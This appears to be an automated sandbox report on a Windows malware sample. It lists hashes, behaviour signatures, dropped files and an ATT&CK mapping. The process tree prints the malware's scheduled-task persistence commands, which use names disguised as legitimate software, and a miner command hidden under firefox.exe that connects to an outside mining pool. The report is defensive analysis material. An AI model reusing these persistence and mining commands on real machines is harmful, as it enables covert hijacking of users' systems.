Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    13-05-2021 12:55

General

  • Target

    e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe

  • Size

    2.6MB

  • MD5

    b9778cfed374bca17cb377d2013f7354

  • SHA1

    97f509d17326ef9be6392cd103b64b469bef6a68

  • SHA256

    e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589

  • SHA512

    f5ec5cdccb1658f0ad9c783ae502e42a5af0e43a42201a8cafdfa452266e06d978781fc0aebce332b5acbbab7031bf15b2882497f454502e59e932fae730a6ff

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Modifies Installed Components in the registry 2 TTPs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 16 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 36 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe
    "C:\Users\Admin\AppData\Local\Temp\e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      2⤵
        PID:1504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
        2⤵
          PID:3944
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
          2⤵
            PID:3736
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 21 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe\""
            2⤵
            • Creates scheduled task(s)
            PID:3732
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 7 /TN "IDT PC Audio" /TR "\"C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe\""
            2⤵
            • Creates scheduled task(s)
            PID:1572
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 34 /TN "ccUpdMgr" /TR "\"C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ccUpdMgr.exe\""
            2⤵
            • Creates scheduled task(s)
            PID:2732
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 13 /TN "Intel(R) Common User Interface" /TR "\"C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe\""
            2⤵
            • Creates scheduled task(s)
            PID:2288
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Steam Client Bootstrapper" /TR "\"C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe\""
            2⤵
            • Creates scheduled task(s)
            PID:2472
          • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
            C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
            2⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1464
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
              3⤵
                PID:196
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
                3⤵
                  PID:2616
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
                  3⤵
                    PID:2040
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 14 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe\""
                    3⤵
                    • Creates scheduled task(s)
                    PID:3408
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 28 /TN "IDT PC Audio" /TR "\"C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe\""
                    3⤵
                    • Creates scheduled task(s)
                    PID:2128
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 33 /TN "ccUpdMgr" /TR "\"C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ccUpdMgr.exe\""
                    3⤵
                    • Creates scheduled task(s)
                    PID:2304
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 14 /TN "Intel(R) Common User Interface" /TR "\"C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe\""
                    3⤵
                    • Creates scheduled task(s)
                    PID:1584
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Steam Client Bootstrapper" /TR "\"C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe\""
                    3⤵
                    • Creates scheduled task(s)
                    PID:2916
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
                    3⤵
                      PID:2500

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Execution

                Scheduled Task

                1
                T1053

                Persistence

                Registry Run Keys / Startup Folder

                2
                T1060

                Scheduled Task

                1
                T1053

                Privilege Escalation

                Scheduled Task

                1
                T1053

                Defense Evasion

                Modify Registry

                2
                T1112

                Credential Access

                Credentials in Files

                1
                T1081

                Discovery

                Query Registry

                1
                T1012

                Peripheral Device Discovery

                1
                T1120

                System Information Discovery

                2
                T1082

                Collection

                Data from Local System

                1
                T1005

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\BtvStack.exe
                  MD5

                  b6fc63bfb67355692b1cc3e84d7f8c8d

                  SHA1

                  af2c63597ce6ebad9294995ce4f2f287694299f9

                  SHA256

                  938b1091bc237d3b6ec960a1f69bd80679d1e528a38ec9424aebbefac1076046

                  SHA512

                  48deb2b110deadf8abe93a78c5cd1bc61bd961cbf453de7e7e3053c40367613e0025afd83b867a3f2d141a62abfc4ab479c64c23cabcad3db96af31a4ffb0dca

                • C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe
                  MD5

                  55161f76e2338a37f213a94b041bfae3

                  SHA1

                  e9d190899ac2ab70005f8081e52a4c6b394f4a63

                  SHA256

                  1bbcaeeebf00261f98685cac17e17a01ef98b86502d7334351f04b5f88e81874

                  SHA512

                  2a74a00bcf236f01038f9299c8d5d1cfea3be7037780155c82de199726943fca01658710a8311ff379da0ec4509fdf02c4df20fffdfa560b673c8822cf369b05

                • C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe
                  MD5

                  0a4e4714c893abcf684c72ce6a392843

                  SHA1

                  5ef6829f0a5a6edf0c0f30457b3f87c33289f757

                  SHA256

                  969224336d8aca8bdd1651a7691d41bfd4212a8afded83869c21cb06d163043d

                  SHA512

                  65e87c5968b9c30af66c623b2b17ac93ca743c7028c2829e4aa85a7734b420b014abaaa283e57ca234593fb8370932ae3fe319cef5116b4e38f2c5578bf5ce2e

                • C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe
                  MD5

                  249217fe08ff21088f5a631a4b7490b0

                  SHA1

                  b8409f1456ccaf5f0f87ad5509d9668e20847c36

                  SHA256

                  fbe9de04e88486829060e6b627e254ed65f9406390f258459283c8a062023d96

                  SHA512

                  653ff8ed878e2025dfaa411672039c2d474cbd0bb44017d5bcdaab017b6dd5b2d9a733e68dbd32d0be58d2f962dcfdd9b36f485f8ebf1f99b273edc912f114f9

                • C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe
                  MD5

                  d3f45667a7c66c1409f62aa5536143ed

                  SHA1

                  226e6e8052b06d56e47adef20cbaa322d978fc64

                  SHA256

                  75d04e017e419a4bd32f803c542c44960f5da9481187d307d1a12310b66d95aa

                  SHA512

                  dcfc1b3fbb975d67e73a0e8f4c5f0fdbfbaf53c461501a3e7ce0279f3426a1100715ec4d17a3edd21c17a367f0687c265ba353e7077092195a9e4042f18c3c6a

                • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\plugin-container.exe
                  MD5

                  426877c92ad7186ae37b79fca925d58a

                  SHA1

                  47ebf360fbf877f2cf8b34cc8c1f208e3d2a3a6c

                  SHA256

                  6744256e18aadd2a0ad0944702e977d59f3ab24a238b2f8850a04d4126fd4e6f

                  SHA512

                  ccc958818741a574b6e13007f9451cdf46908b34a17a82f47c229e9aa41331a8847854e137591c9e8b17af0742a832861d9fa641cf8af1546b7b05120658ed28

                • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ccUpdMgr.exe
                  MD5

                  ce45475306bbef9c4061257e4e44a19d

                  SHA1

                  bc8b1e9d75c13b767b3aaeee6512a9bfbcc6b12f

                  SHA256

                  384f102414257f5816070e6ac4a2305b70a45abe42eadef6ca8b8e94922d0b99

                  SHA512

                  9d07c370981e3f384446ca771a1a74cbaed5b3fba5c5b7555832d3eecef93f561026ccbfe89b6995eed77008651f84b5b9819f77afb23e699068878119fda60b

                • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
                  MD5

                  b384766e1f716c96ed92cfa5c54e9009

                  SHA1

                  cd8266d4bb5048b0a57f3c9f28aff70af6741707

                  SHA256

                  f2036c4d663cbcb1a112ff1707f00b0e5bea23ba1cfe6f5c51a207c998119812

                  SHA512

                  32a550d42d7d8fe7e3efe2fc8a08d0fcea940987769e089f4dac7602e5dbb66f9640962c7021c71af43aa4d17d7602bbd495941f735efb9713840605c7f84546

                • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
                  MD5

                  b384766e1f716c96ed92cfa5c54e9009

                  SHA1

                  cd8266d4bb5048b0a57f3c9f28aff70af6741707

                  SHA256

                  f2036c4d663cbcb1a112ff1707f00b0e5bea23ba1cfe6f5c51a207c998119812

                  SHA512

                  32a550d42d7d8fe7e3efe2fc8a08d0fcea940987769e089f4dac7602e5dbb66f9640962c7021c71af43aa4d17d7602bbd495941f735efb9713840605c7f84546

                • memory/196-128-0x0000000000000000-mapping.dmp
                • memory/1464-123-0x0000000000000000-mapping.dmp
                • memory/1504-115-0x0000000000000000-mapping.dmp
                • memory/1572-119-0x0000000000000000-mapping.dmp
                • memory/1584-138-0x0000000000000000-mapping.dmp
                • memory/2040-130-0x0000000000000000-mapping.dmp
                • memory/2128-134-0x0000000000000000-mapping.dmp
                • memory/2288-121-0x0000000000000000-mapping.dmp
                • memory/2304-136-0x0000000000000000-mapping.dmp
                • memory/2472-122-0x0000000000000000-mapping.dmp
                • memory/2500-142-0x000002238ECB0000-0x000002238ECF7000-memory.dmp
                  Filesize

                  284KB

                • memory/2500-143-0x000002238ECBBC40-mapping.dmp
                • memory/2500-146-0x000002238ECB0000-0x000002238ECF7000-memory.dmp
                  Filesize

                  284KB

                • memory/2616-129-0x0000000000000000-mapping.dmp
                • memory/2732-120-0x0000000000000000-mapping.dmp
                • memory/2916-140-0x0000000000000000-mapping.dmp
                • memory/3212-114-0x0000000000990000-0x0000000000991000-memory.dmp
                  Filesize

                  4KB

                • memory/3408-132-0x0000000000000000-mapping.dmp
                • memory/3732-118-0x0000000000000000-mapping.dmp
                • memory/3736-117-0x0000000000000000-mapping.dmp
                • memory/3944-116-0x0000000000000000-mapping.dmp